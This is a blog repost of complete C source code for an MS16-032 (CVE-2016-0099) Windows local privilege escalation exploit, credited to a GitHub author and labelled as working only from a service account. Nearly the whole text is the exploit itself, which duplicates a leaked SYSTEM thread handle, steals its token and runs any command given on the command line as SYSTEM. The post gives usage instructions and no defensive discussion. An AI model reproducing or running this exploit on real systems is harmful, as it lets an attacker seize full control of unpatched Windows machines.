Legend‘s BLogfrom：https://github.com/zcgonvh/MS16-032
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#include <stdio.h> #include <Windows.h> DWORD WINAPI ThreadProc(LPVOID lpParam){ BYTE b[1030]; DWORD d = 0; while (ReadFile((HANDLE)lpParam, b, 1024, &d, 0)) { b[d] = '\0'; printf("%s", b); fflush(stdout); } return 0; } void die(char* c) { printf("%s: %d\n", c, GetLastError()); exit(-1); } typedef NTSTATUS __stdcall _NtImpersonateThread(HANDLE,HANDLE,PSECURITY_QUALITY_OF_SERVICE); int wmain(int argc, WCHAR* argv[]) { printf("[#] ms16-032 for service by zcgonvh\n"); if (argc != 2) { printf("[#] usage: ms16-032 command \n"); printf("[#] eg: ms16-032 \"whoami /all\" \n"); return -1; } BOOL b = false; IsWow64Process(GetCurrentProcess(), &b); if (b) { printf("[x] please re-compiler this program via x64 platform\n"); return 0; } WCHAR* wsSelf = (PWCHAR)malloc(65536*2); PROCESS_INFORMATION pi = {}; STARTUPINFO si = {}; si.cb = sizeof(si); si.hStdInput = GetCurrentThread(); si.hStdOutput = GetCurrentThread(); si.hStdError = GetCurrentThread(); si.wShowWindow = SW_HIDE; si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; GetModuleFileName(0, wsSelf, MAX_PATH); if (!CreateProcessWithLogonW(L"a", L"a", L"a", LOGON_NETCREDENTIALS_ONLY, 0, wsSelf, CREATE_SUSPENDED, 0, 0, &si, &pi)) { die("[x] may be patched"); } if (!pi.hProcess) { die("[x] may be patched"); } HANDLE hThread; if (!DuplicateHandle(pi.hProcess, (HANDLE)4, GetCurrentProcess(), &hThread, 0, FALSE, DUPLICATE_SAME_ACCESS)) { TerminateProcess(pi.hProcess, 1); die("[x] can not duplicate thread handle"); } TerminateProcess(pi.hProcess, 1); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); HANDLE hCurrentToken, hToken; DWORD d=0; PTOKEN_PRIVILEGES tp = (PTOKEN_PRIVILEGES)malloc(2048); _NtImpersonateThread* NtImpersonateThread=(_NtImpersonateThread*)GetProcAddress(GetModuleHandle(L"ntdll"),"NtImpersonateThread"); SECURITY_QUALITY_OF_SERVICE sqos = {}; sqos.Length = sizeof(sqos); sqos.ImpersonationLevel = SecurityImpersonation; SetThreadToken(&hThread, 0); NTSTATUS status = NtImpersonateThread(hThread, hThread, &sqos); if (status) { printf("[x] can not do self-impersonate : %x\n", status); return -1; } if (!OpenThreadToken(hThread, TOKEN_ALL_ACCESS, 0, &hToken)) { die("[x] can not open token from SYSTEM thread"); } if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hCurrentToken)) { die("[x] can not open current process token"); } if(!GetTokenInformation(hCurrentToken, TokenPrivileges, tp, 2048, &d)) { die("[x] can not get current privileges"); } for (int i = 0; i < tp->PrivilegeCount; i++) { tp->Privileges[i].Attributes = SE_PRIVILEGE_ENABLED; } if (!AdjustTokenPrivileges(hCurrentToken, false, tp, d, NULL,NULL)) { die("[x] adjust all privileges fail"); } b = false; DWORD data[] = { 2, 1, 0, 0, 0 , 0, 0, 0 }; PPRIVILEGE_SET pset = (PPRIVILEGE_SET)data; pset->Privilege[0].Attributes = SE_PRIVILEGE_ENABLED; LookupPrivilegeValue(0, SE_ASSIGNPRIMARYTOKEN_NAME, &pset->Privilege[0].Luid); pset->Privilege[1].Attributes = SE_PRIVILEGE_ENABLED; LookupPrivilegeValue(0, SE_INCREASE_QUOTA_NAME, &pset->Privilege[1].Luid); SECURITY_ATTRIBUTES sa = { 0 }; HANDLE hRead, hWrite; ZeroMemory(&si,sizeof(si)); ZeroMemory(&pi,sizeof(pi)); sa.nLength = sizeof(SECURITY_ATTRIBUTES); sa.lpSecurityDescriptor = NULL; sa.bInheritHandle = true; CreatePipe(&hRead, &hWrite, &sa, 1024); si.hStdError = hWrite; si.hStdOutput = hWrite; si.lpDesktop = L"WinSta0\\Default"; si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; si.wShowWindow = SW_HIDE; HANDLE hReadThread = CreateThread(NULL, 0, ThreadProc, hRead, 0, NULL); HANDLE hPrimary; if (!DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, 0, SecurityImpersonation, TokenPrimary, &hPrimary)) { die("[x] can not duplicate token to primary"); } if (PrivilegeCheck(hCurrentToken, pset, &b) && b) { printf("[+] %ws was assigned\n",SE_ASSIGNPRIMARYTOKEN_NAME); CreateProcessAsUser(hPrimary, 0, argv[1], 0, 0, true, 0, 0, 0, &si, &pi); } else { pset->PrivilegeCount = 1; LookupPrivilegeValue(0, SE_IMPERSONATE_NAME, &pset->Privilege[0].Luid); if (PrivilegeCheck(hCurrentToken, pset, &b) && b) { printf("[+] %ws was assigned\n", SE_IMPERSONATE_NAME); CreateProcessWithTokenW(hPrimary, 0, 0, argv[1], 0, 0, 0, &si, &pi); } else { printf("[x] no privileges assigned! this program can only use on SERVICE."); return -1; } } if (pi.dwProcessId) { printf("[!] process with pid: %d created.\n==============================\n", pi.dwProcessId); fflush(stdout); WaitForSingleObject(pi.hProcess, -1); TerminateThread(hReadThread, 0); return -1; } else { die("[x] can not create process"); } return 0; } |
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未经允许不得转载：Legend‘s BLog » MS16-032(CVE-2016-0099) for SERVICE ONLY
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